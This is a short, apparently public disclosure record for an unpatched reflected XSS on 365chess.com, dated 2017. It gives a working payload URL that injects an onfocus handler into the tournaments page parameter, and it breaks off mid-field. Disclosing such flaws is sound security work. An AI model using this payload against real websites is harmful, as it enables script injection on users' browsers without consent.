365chess.com XSS vulnerability

Vulnerable URL: http://www.365chess.com/tournaments.php?p=1=" autofocus onfocus="alert/XSSPOSED/='-alert'XSSPOSED'-' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 56358 VIP websit...